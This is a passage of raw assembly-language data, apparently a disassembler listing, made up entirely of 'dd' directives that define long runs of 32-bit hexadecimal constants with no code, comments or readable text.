5E43CA4Eh dd 60649487h, 7F610164h, 88E07221h, 4200556Ch, 3F0E060Bh dd 3E4090CCh, 9C4AB2A3h, 7D0408CCh, 0A3A1989Ch, 45DDC4A8h dd 0C113C311h, 0CD46470h, 89950B53h, 8C45AAB4h, 0EB3D2C90h dd 0FFBBE789h, 2BCFCCC1h, 9F938870h, 4DE0A8A5h, 0CFBF0099h dd 57090198h, 0DB5890BDh, 956201D4h, 3DB676B4h, 1EA4860h dd 0E08A7D1Ah, 21194BA9h, 0C8500AC3h, 943DC01Bh, 0E00BC1BDh dd 6F2DA1h, 70BACCFCh, 2B7F0A5Ah, 2ECC15AFh, 0AA06078h dd 18D520A8h, 0F8E29244h, 0C4015F1h, 0BE940079h, 7B4BD23h dd 0E53E55D2h, 0A2E8A504h, 156830Ch, 3858D034h, 8CD6B8D8h dd 89C1600h, 6679F48Dh, 3BA05FDFh, 40131054h, 0C8CF0DC0h dd 96256A80h, 3FCCC52h, 0E1D64ED7h, 0FBA3C65Ah, 0E2665905h dd 8681FF0Ch, 0C0502078h, 0E79F08h, 60665EA1h, 1DBCC0EAh dd 0C0787E58h, 37C3C715h, 0FC4120A9h, 96796E3Bh, 0F840D917h dd 76533CDh, 1BCE287Bh, 81C309C8h, 3894BFD7h, 8538A45Dh dd 4C87759h, 0B699177Dh, 506CD29Ch, 217100F1h, 97526019h dd 0EE8A400h, 2F50D86Eh, 34C10B25h, 6404C545h, 0A8B4A0BAh dd 82937B2Fh, 0F9570154h, 18F57114h, 6BEC0017h, 3CED5898h dd 8174B520h, 0FD522F09h, 0AC1448A3h, 0C08D4B68h, 392B5B8h dd 1A9DA7F6h, 0E498E510h, 0F0DA6091h, 0A9B904D8h, 8E17632Ah dd 0B46A4B84h, 0F09E8007h, 4EF65014h, 0E4C580Ch, 0EBB5043Ch dd 0C0ADE683h, 0C459CA38h, 19B8645Ch, 1796018Ch, 50EB20D5h dd 12C466DDh, 0CCF2492Fh, 0C556DE1h, 0ECB0E4Ah, 8C81C359h dd 81FFD714h, 0AF53CF41h, 0D5C04D9Fh, 62160197h, 59B270EAh dd 9743941h, 80DF530Dh, 24D75EF0h, 0C71F15EDh, 0CC92D4A9h dd 0E09454F0h, 278C38D6h, 84E400FCh, 6B997AEFh, 9A6247EBh dd 41155960h, 0C8E8D056h, 8E012594h, 14DCA8C3h, 5C2314h dd 0D75AE28Ah, 8085C987h, 26E28F14h, 6A053974h, 0EB331DCFh dd 0C7134080h, 0ED6101E9h, 76D9264Bh, 50053B8Eh, 0E4888137h dd 9049F359h, 7860E8E7h, 0C11F01E7h, 514C5C39h, 0B770828Ah dd 40163E47h, 17B834ACh, 41294052h, 90156D88h, 66FEFDE0h dd 64772538h, 5BE078h, 0AF314BD1h, 145960A6h, 6FB7DA0Eh dd 1E344058h, 0CB3692h, 693C5BB1h, 71D7628Bh, 4F500092h dd 40002C9Bh, 0E594F4E6h, 1427DE2h, 54FC67D2h, 2C903785h dd 6BFD16F4h, 66534CD0h, 14CC928Eh, 0B6B2CDF1h, 409FBE0Bh dd 0FCB4949Ch, 1CB4656h, 9BB5AD9Eh, 7C36CCF6h, 0C41E0401h dd 87FDF7E9h, 1A0E8431h, 0EBAFAC50h, 6F660076h, 48EA6342h dd 0F25DD4E1h, 0DC8E2F98h, 0F9C10291h, 0A8E4FD2Bh, 5B5CAA5Dh dd 0C823242Fh, 0D04AD900h, 145C2489h, 0EABD97A2h, 98042324h dd 64F909A1h, 0A4B17F00h, 5D4582E0h, 0A51C91CDh, 0DCAF4491h dd 7505E8DBh, 3FBE79BFh, 9143A8A0h, 186C79ECh, 0B0CB0F20h dd 3958D503h, 0EC161C5Dh, 440594F2h, 68B0FFF6h, 0D8151253h dd 0D3B84052h, 6C3F0128h, 4B20730Eh, 0A1EBE7F5h, 0D2AA6BD0h dd 104E0160h, 0B851879h, 50D8D2B8h, 54A542F0h, 18401062h dd 55FACDF3h, 4F1C3A00h, 6219685Dh, 2AF90443h, 0ACE6F121h dd 4376BC44h, 0DD5855h, 1CE94BBDh, 53BE7AC9h, 71F2A833h dd 0B24130h, 0DF65AA1Fh, 0FB30D27Ch, 471CBA9Fh, 60A74434h dd 1BE1949h, 7B737C99h, 0A04DDBF6h, 79128450h, 8CF49FADh dd 0EA300A5h, 59FA40C8h, 0A67E9A5Bh, 957D3B09h, 32BC84C4h dd 0B7DECC93h, 0C4DC1234h, 0A64613CDh, 35240F04h, 0CA986AC4h dd 0D52CD0h, 0D22F3D40h, 0C1DA05A8h, 0C43311B9h, 0C8F8CBE0h dd 89B1C19Fh, 0CB57F0C8h, 12CD2B09h, 8FE0843Fh, 0D72E78ECh dd 109D6930h, 4802611h, 22AA3108h, 0DC72D42Ah, 67984197h dd 0EBCC30h, 0A637B0D6h, 4830F02Bh, 5BC8B3Bh, 47F36861h dd 570E8444h, 0CAE2ECB2h, 3B5830h, 0C25FCE84h, 0D4559F25h dd 601C2F9Dh, 5DC04A7h, 0C3CD0453h, 0A8AF7BB5h, 0DC6E5FF0h dd 456EA600h, 9B15FE1Eh, 0F7B1D504h, 0DB12EA5Eh, 0E522804Ch dd 40DE6Fh, 0C05326EDh, 5EA3B5D2h, 8410E248h, 9E008AC2h dd 3693C4A8h, 0CD5C8150h, 489DD412h, 76E12CA2h, 1B00C55h dd 0F5A1C1FAh, 3A78597Fh, 83F31820h, 46C980E6h, 0F409164Bh dd 6084ED54h, 0D77DDE33h, 40C64638h, 0C89300B1h, 5FFE356Eh dd 80E9AE77h, 98A85E18h, 0EEDC237Eh, 0FC3C20BEh, 7D2D9E19h dd 146C4EF1h, 34B56F13h, 7A5DC2B0h, 74592E40h, 650200B9h dd 0D15E2E58h, 18C9717Ch, 85E80271h, 16CA605h, 7A7BFA41h dd 21843040h, 1363605Bh, 49BECCBDh, 0E490D448h, 9A007672h dd 38A5CE58h, 0F31DBFh, 0DCCC0BF6h, 0C501480Eh, 1038244Ch dd 5724A027h, 6C209C4h, 0B442504Fh, 40E47641h, 4A4540DCh dd 6D8F7506h, 44707AAEh, 0CD1E543Fh, 9460A4BEh, 8E65642Ch dd 0C7C98864h, 2754217h, 415CB5C1h, 50721EF8h, 44256E0h dd 7700C2F4h, 87E0399h, 0CB67C0h, 93F98F72h, 26A6CA51h dd 708CFB4Bh, 61D400A1h, 940C679Ch, 0BA0B21C8h, 59971F65h dd 90D493F4h, 6622EBCCh, 0B7F17600h, 6D869505h, 0EF0E03F2h dd 370D36A5h, 745CF7EAh, 9F862E80h, 0E478FC31h, 0F0BF01BCh dd 93D05E02h, 96AADC9Ch, 0BA6A1D25h, 5618DE50h, 0D5036D46h dd 377C02AAh, 0DEADE005h, 0A7C40A9Fh, 0F9A7D4B4h, 0E879BF02h dd 146CE500h, 0BAC1F85h, 20496D72h, 0CAF28A80h, 0F55A1E75h dd 58F94C80h, 8B8C4E11h, 0C0CAC864h, 0D26AD876h, 0D9294573h dd 54ACACBEh, 5359FB09h, 0B8E5A7D4h, 2E60CAE4h, 0E000A80Fh dd 0BD66DCD2h, 37A2EFh, 6C9181F3h, 0D44EE6C1h, 0A3694813h dd 0C26FD404h, 8D305F22h, 0D7533FE2h, 0BA018043h, 587B34E2h dd 0F1DB316h, 6EF400B9h dd 555BA19Bh, 4401D0DEh, 7F53FE98h, 68002476h, 0D44A21DFh dd 449EA16Ch, 6BD1A947h, 8CD1B1A2h, 8A24203Eh, 0AF484769h dd 0F590162h, 64A33B88h, 0C58CC7Dh, 0F66B3809h, 0CE009C44h dd 51F4C260h, 2E4D0E6h, 93BB7152h, 24449728h, 0ECB4F302h dd 711D72C3h, 18D079F4h, 75A84EA5h, 0C0909AD8h, 3D6AD43Fh dd 0F14E041Ch, 8AA01F81h, 0FFFD0008h, 413C2BEh, 79D0029Fh dd 25A6AF66h, 0E580B0D9h, 0B01191BDh, 0C44324E9h, 53B56274h dd 5D6F0F4h, 2D207911h, 0FFD430E1h, 9E04C064h, 0D493C3A9h dd 6724A4h, 0B66596F9h, 0A5E7DEE2h, 321B2701h, 8960F214h dd 0A879AADCh, 4F57AA4h, 87A655A9h, 8F80A8E4h, 7EB4C08Ch dd 0BE2D65A3h, 50B607F4h, 0F2AE848Ah, 30A3F288h, 6B0FCD09h dd 0C12A3888h, 7B91BE3Eh, 102C2BF5h, 0D1D82413h, 3DD25CE0h dd 0A63600D0h, 2E2289EAh, 342348E7h, 0BA4B7Dh, 0BE1E0D6Ch dd 949B623Fh, 0C0746D27h, 0F404C3D7h, 8F0DE23Dh, 0C47493A9h dd 0CCEA373h, 0D6B81C4Ch, 9E33008Ch, 0A3E079E8h, 0FDF0F36Bh dd 9769A8B4h, 8F581184h, 0B6A8803Dh, 5E706E77h, 0D750C140h dd 8A80498h, 388C5CBCh, 5D0068C8h, 0B5CD5B0Bh, 0C15E2FCBh dd 0F4634872h, 18E75ED0h, 0F27F66h, 4CD4F8A6h, 0CC679F80h dd 6CD21324h, 0EA4FE143h, 2D78D883h, 0ECC8C1BCh, 5E0BC3CDh dd 0B926EB0h, 40490772h, 498A4BA2h, 8829DB54h, 163DDF00h dd 6653C9D8h, 84109095h, 0F7BF73B5h, 1BB8606Ch, 7887008Ch dd 65A6A0AAh, 0EC2F9460h, 62DCAF81h, 0F335D72Ah, 5E58A884h dd 98D0DC10h, 0E28E028Ch, 0CA27D75Eh, 93E0CC96h, 198FE203h dd 0F23E6F27h, 70A9C04Bh, 18E2F1Fh, 0C35B4CC4h, 5623583Bh dd 6A9C0900h, 0B5F672C2h, 47BB10A0h, 100E167h, 50D836A6h dd 7E3E485Ah, 0F97B257Eh, 349D2C62h, 76804B11h, 0CB8643FEh dd 87A31E00h, 0EB7B47B8h, 17BFEADDh, 0C04072DCh, 8A4699B8h dd 0D5C5F7A3h, 0B924BD2Ch, 9FE779ECh, 71884C17h, 0F1846055h dd 49390217h, 116496A9h, 32A1E8D0h, 38F98AFEh, 18409A5Bh dd 0DAFC9401h, 33E4538h, 0CD381CC2h, 1FEA4Eh, 0A285E86Dh dd 6E367A13h, 0FF6FC407h, 0DE1F947Ah, 0FD50027Bh, 409B8690h dd 4A751ACh, 34C41558h, 96D8A4CDh, 2A9F0D04h, 90C0CB27h dd 4EB769C3h, 132CC754h, 0A8D46678h, 9B1601CCh, 5AD8D67Ah dd 8049B845h, 58DCD354h, 0F602B811h, 179E7ADAh, 0FD980DA7h dd 3C790014h, 52DB1085h, 81107ACAh, 0A012B2CBh, 4F44B4DAh dd 3E78BE4Ch, 158601F9h, 4BF3B1C0h, 0D338007Bh, 4DB855E6h dd 0DC505181h, 27D93BC8h, 8C68D032h, 0B6503C4Dh, 0A0F0CBB9h dd 32135CB8h, 0ECE4F667h, 6AD0B889h, 889831AAh, 6D00D929h dd 0B445E91Ch, 0C7D2098Ah, 6C2FCC99h, 0EB6423CFh, 8FE8D0C3h dd 7481247h, 420D13CCh, 6BC0589Ah, 8F88D2CCh, 92F55D75h dd 0B841F5F0h, 0B68C4ED3h, 4B86F082h, 0FD81CA2Ch, 40EAFA7Ah dd 0B7F79998h, 7DC0F805h, 0D5C09EFBh, 0BB5BC5h, 0E6D514B8h dd 0C64C8631h, 4103B17Dh, 0ADFE3003h, 5A9FB93Dh, 0E67440FEh dd 79A4B158h, 0F56518D0h, 0E478406Ah, 7D26E68Dh, 0F21B0D01h dd 78F64B31h, 30007B7Ah, 0B7925610h, 9FA62DB8h, 44507068h dd 67536603h, 0AC340F1Dh, 8D09484h, 3F90EF08h, 6E260A5Ah dd 0A7465E58h, 98C32D07h, 0A2ED008Bh, 20A07A37h, 36028450h dd 0E3A69DCBh, 70ECF94Ah, 865576h, 0D835D25Bh, 3CC4BB6h dd 0A578C539h, 0FCA0600Ch, 9CFF4FB9h, 0A980A754h, 84EB1295h dd 0DFF8F4FAh, 98C9C49h, 5E87CC1Eh, 141FD920h, 46F72038h dd 20D42F88h, 95827D3Ch, 0F987074Bh, 1531B721h, 0BD10856Eh dd 0C5F1AC68h, 0E868F8C8h, 7E059C38h, 98F49FAAh, 30CC0060h dd 13C746C9h, 0B81DD956h, 8B40C559h, 733326F0h, 0E7191348h dd 3784F4F6h, 0B87DCB2Eh, 0E67F103Ah, 8744814Bh, 0D6240056h dd 7931C3C1h, 3DB91FC7h, 0FD2FD4FCh, 3827B22Fh, 8B62B4h dd 10038E35h, 810A1E1Ch, 6E5C9412h, 68357C30h, 4F6600C4h dd 7B01F74Dh, 5E4A2594h, 0BDB0ACE6h, 8E24F070h, 6D2598B3h dd 0D219C048h, 0DF3932B0h, 0F67A0427h, 501BA39Fh, 0A98DAC90h dd 0A4703E02h, 5EAAD1DAh, 0CEC6826Ch, 90F1E903h, 6B186F79h dd 2FC12D3Ch, 11ECA1B0h, 0D048DB50h, 216B028Ch, 5EB26832h dd 2B6D00E9h, 41DF609Ah, 50079DFFh, 46DF847h, 0AA071C1h dd 0C2DC7B4h, 727BFE05h, 3A0816E8h, 6F2308h, 8A26B597h dd 1605A56Ch, 47D2CBA3h, 461EFCF9h, 0B35BD71Eh, 3025A294h dd 7D169749h, 0A50B09CEh, 4ECD1C7h, 5F839Eh, 0D30722AAh dd 0FD420029h, 10C2BC87h, 48E5F850h, 952C5738h, 0E52D5B8Dh dd 0B5288184h, 0DD3E5495h, 230DF8E5h, 81F60300h, 69B2132Dh dd 70B960AFh, 31100520h, 0F31D5CB4h, 0D8D648E0h, 2EDF5A80h dd 4CB0BC21h, 26D118B1h, 98003618h, 91E1458h, 0BDCD07Dh dd 4037EECh, 900C10A5h, 0F268FD1Ch, 0BCB3FC9Ah, 961378h dd 7178183Fh, 0E00C2794h, 0FCA5F84Ah, 7004AF20h, 0A2770986h dd 2CC2A322h, 0A4703C7Bh, 3BDE0029h, 237D9367h, 6A09300Bh dd 0E1ABCBh, 0ED20DF18h, 24589AFEh, 966CAEA3h, 9214B4F7h dd 182E7D00h, 0D888D585h, 69120331h, 23DBFE1Fh, 8CA071F2h dd 96219E41h, 59F094B8h, 4EBCB2D5h, 25C8C8CBh, 0A2B37FC0h dd 929B0509h, 8F1BF90Eh, 0C0F5C8DCh, 4BBA8FFh, 0F04497h dd 754537A1h, 7CC5B605h, 3CAD5C26h, 5A44C82Ch, 1C346BBEh dd 244FC722h, 8097CA2Dh, 4C22467Eh, 72273B3Dh, 0E0477E02h dd 0AFBCC2F1h, 8AD2F054h, 0C0C8C848h, 0A21CEAA0h, 93CF9104h dd 0E4815657h, 2A61D4C6h, 95D6C070h, 15453420h, 0B700BBFDh dd 0D419970Ch, 183B2EBh, 77D55C6Bh, 20578291h, 90F4B09Ch dd 0E0DF5D01h, 0ACC2B7C7h, 1BA2C823h, 0E40DA230h, 1FBB7C81h dd 937B29C7h, 1F4042B3h, 386D08D4h, 35E61BE0h, 0D60D00C8h dd 9E7B6EFAh, 0A49C8E6Fh, 0D040B393h, 8BEBB5A3h, 709490F2h dd 24E609B0h, 442B6BDCh, 0C9E4D045h, 9E4CB560h, 0A102D973h dd 0BED8E413h, 8B78FCB0h, 54D0F3F2h, 93D1E76h, 50B2A528h dd 0A7DB1088h, 7F930E01h, 4CE01203h, 20E8908Eh, 3E29EF53h dd 1AD1B8C1h, 0E0A04918h, 1D1204E0h, 305F52A0h, 0E9CE59C0h dd 3BCC88h, 0D61EC0DFh, 0B1FD8903h, 860474B1h, 18A0AB2Bh dd 46872D8Dh, 0A2918497h, 0A1E5E880h, 0C802863Dh, 0E1A8AF6Dh dd 70D4FBB2h, 2D164530h, 709B08F2h, 1A14580h, 0E0AAC6BCh dd 4138045Dh, 0EA94A004h, 0F523442Fh, 46803007h, 0E9E49FA7h dd 6DBC48FCh, 73055543h, 0EC4F2380h, 84A63D70h, 7CE6CC9Ah dd 0CB0802BFh, 0E8F16E31h, 9118A771h, 0D35BC401h, 6C8599B6h dd 5E70B7DFh, 17AAC724h, 4BC12B5h, 2BF4B04h, 0CB072D34h dd 3F181090h, 0D52416B4h, 6CFD2021h, 8041422h, 212172Bh dd 0F81F99ADh, 0F00AE814h, 8086589Fh, 9A315700h, 0C6468969h dd 77BCD700h, 9D122CE0h, 0A6D040Ch, 0AF6CCF23h, 0A4DB3417h dd 68A0FA8Fh, 0EA8053F5h, 7659FB13h, 6C88D0CEh, 379EBBC0h dd 9F090615h, 68E7E9C4h, 0F49EFC90h, 29200D6h, 0BD2D58CAh dd 0DA5EEF50h, 0EED06497h, 1EBD64Dh, 7E55489Dh, 501ED37Fh dd 0F1148EA8h, 0E3C03725h, 0CB628784h, 0A5E480C9h, 2CAA5B31h dd 74A0419Eh, 0FB00CB46h, 801B543Ch, 7F095E22h, 277BBC0Bh dd 0F67207F8h, 58305B58h dd 5A00461Ah, 6693BF78h, 9D599709h, 0CA11A897h, 3937C480h dd 4203323Ah, 2ED4E02Ch, 84A0131Dh, 23882F53h, 0A1E20022h dd 916BAF6Fh, 0F18D9400h, 2FAEAC80h, 96FF0523h, 0D233B6F8h dd 9864A6ECh, 0A20092ECh, 4A1AFF9Eh, 0FB4C785h, 0EB3338FBh dd 0CB0C34D2h, 0C058885Ch, 61E173EFh, 78C77900h, 8115C39Fh dd 1FC943Fh, 7E37083Dh, 128380Ah, 0E5E27860h, 802FA404h dd 0FAAC3614h, 0BC44CCB8h, 20335A39h, 0F580A688h, 53898A16h dd 23B1D4B6h, 0F06221A8h, 6601ED2Eh, 29F3C79h, 6081274Ch dd 40DE399h, 0C8C12E48h, 0B47C7B3Fh, 0A8B3B867h, 0A8E7AD04h dd 350B84BCh, 0B4409781h, 0F892E4F7h, 9164979Dh, 54B689D0h dd 6C217630h, 96118055h, 2B870A9Dh, 0BB015171h, 4F35C124h dd 6BC0C71Fh, 0ED62002Eh, 7A81ECCAh, 0A0B8D792h, 0B57CE71Fh dd 467404A6h, 50F5271Ah, 0CD9B40D0h, 9F040301h, 2B9E42CEh dd 0E910062Bh, 2415A85Ah, 4A90877Dh, 0C723142Fh, 0CBAEA800h dd 0C5CAE77Ah, 0B576C970h, 88584EC4h, 9801CE21h, 0FB060E55h dd 0FDC2B6D8h, 0C002AA0Bh, 2B54E91Dh, 2B743E6Eh, 7900CC72h dd 0B25C7FE1h, 0D02A30A3h, 0DE4ED7B8h, 120DE640h, 5722CBFDh dd 1B7CC138h, 524611D1h, 39C027Fh, 0A0E84F79h, 0FC5FBECDh dd 0CE9E0001h, 6AFC92F6h, 4CC5976Bh, 0BE60A2C4h, 880059A7h dd 825CBFC0h, 0A8FBE687h, 243CBCh, 9E9C64CEh, 70A1BD09h dd 0D7B7EC0Eh, 1558A174h, 90B95CF9h, 0C0A818B6h, 21CCA72Dh dd 4DE27790h, 0FE96D5F0h, 2FC74FACh, 386C2394h, 0DC82E73Ch dd 0F67BFF0Dh, 0DB788455h, 9700B4E9h, 0A0B1763Dh, 33003BC4h dd 401BE71Ah, 1EEC66CFh, 0C02BD48Ah, 662C279h, 0C700EDF2h dd 3FE53090h, 26B6E05h, 80329270h, 0C839E44h, 91C3E376h dd 665A62E0h, 0FA363701h, 3892BE1Bh, 8796E000h, 49E42F01h dd 3FFCD86Eh, 39A54080h, 11F8ACD5h, 0D2BB7107h, 0C1A01821h dd 307FAF0Dh, 9F69458Ah, 7D3DF36Ah, 0E10C06C7h, 300852C2h dd 420AF5Dh, 0E43CF361h, 930E8060h, 0AEBBA301h, 2F9C076Fh dd 4C126CFFh, 18CE9EB0h, 6861909Fh, 0C5F6E25Eh, 10218B33h dd 0B5B60076h, 1D93A209h, 18A321ADh, 0F79213Ch, 34FD8500h dd 30658294h, 93CA3AECh, 0A4004940h, 81AA0FF7h, 0DBD97Eh dd 1069FF3Bh, 1E8ACDD7h, 4979ED65h, 0F36C7020h, 7AC72377h dd 6005E11h, 9EC3F343h, 0C01D53B9h, 13C381A9h, 0D88F78h dd 61393099h, 4ACF9396h, 0AE63CD0Eh, 21E85817h, 6B400A70h dd 1080B244h, 0BA5C04Fh, 0F896173Eh, 0DCF0A0A3h, 0ACB28B6h dd 306406D8h, 0E19CE874h, 0F947BE00h, 0C131181Ch, 792F1D43h dd 219618DEh, 0F9037F51h, 9B246F65h, 525812D2h, 6604004Bh dd 0EB80E2DBh, 6E18497Ch, 0C0183E1Bh, 4073396h, 8BB0970h dd 391483E4h, 0F7C500A4h, 0D6B45DDh, 622CB204h, 2100F709h dd 0C0DE2F25h, 1D32ED5Ch, 310BD28h, 0B9F77EA4h, 0A128E853h dd 0C00D9E34h, 25144555h, 60F0C6EAh, 3E6A70A0h, 6E060A88h dd 0A989F77h, 8A900E8Ah, 82849DE7h, 0BF86AD6Bh, 9424004Ch dd 5708A407h, 0BB620B6Dh, 0EE58A60Ch, 99382C60h, 0C24138B2h dd 2FBEC088h, 96058CA0h, 98A24AFAh, 606DD805h, 48DE1890h dd 0B31C6B10h, 78873BC8h, 8019DDF5h, 1F4B6A37h, 9388C424h dd 9DE542A3h, 20E8442Dh, 0E0034E5Bh, 0B3B99A98h, 78486440h dd 0DE1D606Ch, 0F46B2B4Bh, 303D11CCh, 4BEE7823h, 0F77B84h dd 0F81FBBB8h, 379E49E8h, 702E6124h, 4046D0A0h, 7AF36702h dd 333152C7h, 0F37EFF10h, 42E8F200h, 9044C071h, 891D5h dd 97B1FE89h, 397FDEC7h, 0F26D6500h, 0AD8E5360h, 0EC2C09E1h dd 9C201EF6h, 0CE4B4EB5h, 0E80C1490h, 50ED294Ah, 8F7F14EFh dd 4230E0C6h, 3A1BCA79h, 0F71C364h, 0B2DEEA41h, 0D1D44012h dd 0A819D2BEh, 30613285h, 7D44230h, 2AEB5BB2h, 0AD403CCAh dd 0ED4CF426h, 0BDC2E600h, 67CD7A7h, 0C36B7F0Ah, 6800512Fh dd 719D6652h, 0A43D56Ah, 464ABE17h, 85AF05D0h, 0FAA40493h dd 99F500AEh, 0A1CD467h, 0A7868E0Ah, 0D3DC21F0h, 566960ECh dd 0E83D00D2h, 4D03A2FFh, 0AB30936Bh, 0BB6D9861h, 915F287Eh dd 8FF7009Ch, 1B896352h, 301FB534h, 0E34F6771h, 4A69052Dh dd 3A5EA030h, 40C18043h, 20BB6A80h, 4E4C18E7h, 10710838h dd 2D9E012Fh, 34BC0BAEh, 0C499F764h, 63369601h, 43FC4420h dd 0C690009Dh, 9453A4D0h, 6BF40EA6h, 5BFBB15h, 9C4A09A4h dd 73D88410h, 44E68D8h, 49181DF9h, 20A132DEh, 3BF9465Ch dd 3AC25E00h, 9E200668h, 0E29A120Fh, 435C08FDh, 71F356C0h dd 2C6A4CC7h, 0F36D00E7h, 0B10797F6h, 2ADB6A31h, 24B41208h dd 0F548C218h, 8857B30h, 0A471B555h, 76400E64h, 17A28570h dd 0C2DA8209h, 0FE8057C4h, 0F732E25Bh, 857A24A8h, 29B56808h dd 400464A3h, 0D085736Dh, 38C600A5h, 0B5C47E36h, 0B6141556h dd 1FC0A413h, 1F80F782h, 0C0B1FD53h, 0B59A3077h, 0C1753041h dd 1C0BC403h, 0B8111719h, 10A768F9h, 4CF73AEh, 0CB0D4B4Ah dd 4EC18087h, 0D0329C67h, 69014223h, 82C774F3h, 9893718h dd 0B3DDEF00h, 0CFC34414h, 0B278429Ch, 0F28F300Bh, 0A1547C01h dd 0F0499F1Ah, 0B1C72360h, 784880E8h, 53CC8138h, 0BC540E4Ch dd 0AF435Bh, 3BFF534h, 98116749h, 106A0016h, 0CB6F2CCCh dd 0C024ED4Dh, 0E0A80033h, 416CD303h, 0CABB61C8h, 0F4104E1Ah dd 81589996h, 7AEB8DCh, 42D04D90h, 1C3061F8h, 6B4411DEh dd 803688FCh, 8A25F824h, 900F339Ch, 607767BDh, 0D4A19711h dd 3BFD0FDAh, 0AD204958h, 4B9D6EB7h, 0F8150500h, 0F77CFEEBh dd 5C660736h, 70927D7Eh, 0FF5B9C63h, 309BBB3Ah, 87412162h dd 95F01C7Dh, 3304C007h, 3B2DFEEh, 2A60FE60h, 392757Bh dd 7CA1FF55h, 1800D17Eh, 86B39E24h, 6EDB14h, 39EEF462h dd 36917C66h, 0C394961Bh, 0E8D7C360h, 0C712725h, 78803AFCh dd 21CFCA09h, 6F26C0B7h, 1D83C7B4h, 88AA2168h, 1E80F497h dd 49ABA62Fh, 43A7005Bh, 652648D0h, 0F7804120h, 7F1703B7h dd 0C4F4B3EEh, 0E9D96481h, 12409DF8h, 8388EC15h, 0BA9D7D81h dd 40AC338Bh, 2E7D8A3Ah, 0D0ECC8h, 0E92A654Fh, 0DF9E237Fh dd 74217C07h, 4D518D6Fh, 598364E0h, 19032646h, 3ADB83C8h dd 0DC33D71Dh, 98214F18h, 0C4030F2Eh, 0CD2F3B24h, 0E34CF660h dd 0FD00815Dh, 3CBEB1EBh, 1295E26h, 795B772Eh, 80575C7Bh dd 8DAA6340h, 3ADDFh, 0ED40F656h, 57068B8Eh, 3D102C15h dd 8F960084h, 9ABF80BDh, 0B9FB3360h, 21003009h, 52BD86F6h dd 18F527CBh, 8054E724h, 1C90253Fh, 8186FFF6h, 83DD9E84h dd 88709458h, 7D3D533Dh, 3EAB9880h, 60C0EE60h, 91D7416Dh dd 3B721FEFh, 8021116Fh, 2F425DFh, 541D48E0h, 4132DEE9h dd 0A2F7376Dh, 0B84805Ch, 15F4637Eh, 0C8867C8Ch, 14032983h dd 52317BCAh, 3319910h, 0C305D300h, 0B75EB40Dh, 77D50097h dd 0E013FF49h, 63003D42h, 787A7E5Ah, 630D3AD8h, 3C071097h dd 5FBDF111h, 0E1D16107h, 0D8A2B273h, 2D099040h, 0B0376B28h dd 3ED3490Ch, 224D19C2h, 0CB10645Fh, 0EC02C18Ah, 2E5705B7h dd 0BD91E8B0h, 6ABF8611h, 0B82E88h, 23C7BD89h, 0C73408Ch dd 0C9E7B30Dh, 241BFD50h, 70685A9Fh, 0D0F749A0h, 200F28h dd 3EE7C5DEh, 56AF8429h, 0A3DCDA00h, 5B82D799h, 0D4F61CBFh dd 901340FEh, 0E618C8D6h dd 667D3A14h, 0DBD54084h, 0C8B49B48h, 7D84C1EDh, 9A93DC94h dd 33654486h, 0B17D8D1Fh, 3F0AD180h, 0C5428DEh, 62D942EEh dd 0E524F860h, 40009526h, 3BD0E2F1h, 1870F859h, 1868038Bh dd 0EF0DBC6Dh, 587FCFBAh, 30520442h, 10790325h, 91DC1B21h dd 2DA5006Bh, 0EA16A403h, 0ACD52874h, 0C4045298h, 3D3031F2h dd 1FA036Bh, 733EB18Bh, 0AC12E924h, 82D12DCh, 23F00819h dd 85BD94C0h, 108246BFh, 0FD005754h, 4612BDABh, 98031DAAh dd 78795A1Ch, 0B9410042h, 3C200921h, 263B1E6Ch, 24FC04F5h dd 148C5777h, 1031C658h, 6E38392Dh, 3DDD80ECh, 4145140Ch dd 0E0F80029h, 0F69D2C18h, 3E731043h, 75DBB314h, 606626CCh dd 7958F50Ch, 700D0018h, 74EB767Eh, 70C165CFh, 37A61DB3h dd 28426830h, 79FC9E19h, 7BDA0A36h, 74E8FC29h, 1C034846h dd 37785AC8h, 2C41B8B8h, 0C08748C8h, 0DFEF0324h, 0A6833343h dd 0F9D8032Ch, 0BB55EF8Dh, 740EF084h, 79B6D4A8h, 5BF9E601h dd 0A4206C42h, 29163E0h, 2A3BB9C1h, 0DB626815h, 53913C15h dd 86EA5B80h, 0FF012AEDh, 414F9D77h, 0E4486E79h, 4EE312C1h dd 0FFF407C8h, 0B15640B8h, 0ED1249CEh, 8448928Dh, 327C088h dd 2B43DFF2h, 32F9780h, 1E1D81E4h, 0F244877Bh, 0B8803D60h dd 403FB37Ah, 1C90964Fh, 0F7A35502h, 958D9AFBh, 804F9134h dd 0C4780A19h, 125DF04Ch, 160FB24h, 0BEEC7308h, 79D89DF8h dd 6C4A55D2h, 3C4090DEh, 96D6F3h, 0ADE8CE52h, 7518E524h dd 4D0079EAh, 0EE4E5E6Ah, 0F629F68Bh, 7D6E34E3h, 0A3881CB8h dd 16031B07h, 49620B94h, 3233B20h, 0F0D1026Dh, 54F5E55Dh dd 0A861DD86h, 536C7B48h, 0B8644CF0h, 0A67E8C64h, 0A8948D16h dd 4CCFC404h, 0B021B807h, 3E19ED9Eh, 9C34FC41h, 0BC1B5DB2h dd 69377502h, 0BC6B3DDBh, 356B24F8h, 0E2E540C0h, 0E40BAE4h dd 0EB2CF558h, 5B8E18B8h, 0E90CA0D5h, 1FED8F8h, 6F04372Eh dd 41F87952h, 42630788h, 70C9863Ch, 3818944Dh, 69888094h dd 1E9AC6h, 0FEC53F1Fh, 0E6229FF8h, 0E8B4CB4Ch, 57434Fh dd 0AD7AB758h, 3D2BC45Fh, 6E30EF42h, 791E86B1h, 0AE164E02h dd 801A572Dh, 848B32A4h, 4F2B035h, 96BC780h, 0F254A24Eh dd 0D75C30C6h, 0FC3E6F28h, 0BCD0044Ch, 664331h, 15696A7Bh dd 91E3F241h, 0AB90B2B4h, 8261530h, 3B04711Ah, 0BC40BF64h dd 0A53425EAh, 0E2727AF8h, 0C0F38B26h, 482FD682h, 91B09706h dd 561D8054h, 0CA4DA5Eh, 0F2945FE7h, 0FA000171h, 16D3100Bh dd 0EA1BE93h, 245776F8h, 0BF85BEAh, 0C420ED63h, 79861F66h dd 98A0E891h, 83842659h, 0B98F7D7Fh, 6E0C9BBBh, 1E883C88h dd 52267F7Dh, 793031E3h, 3686371h, 0D40F8711h, 666FE26Dh dd 32CB1090h, 0F96F76DEh, 450489C1h, 602EC498h, 0B68BFCh dd 0D8275C11h, 513A28A8h, 8111397Eh, 84A8098h, 13C0897Ch dd 46712826h, 0BF22F4h, 0E625F0B6h, 96B57D5Ah, 6276FB1Ch dd 28382839h, 14029446h, 0EC712526h, 0B911C431h, 46B7FCEDh dd 0E6BC6301h, 2385317Fh, 0C33E2D9h, 68E8D458h, 0C90008Ch dd 62ABEE6h, 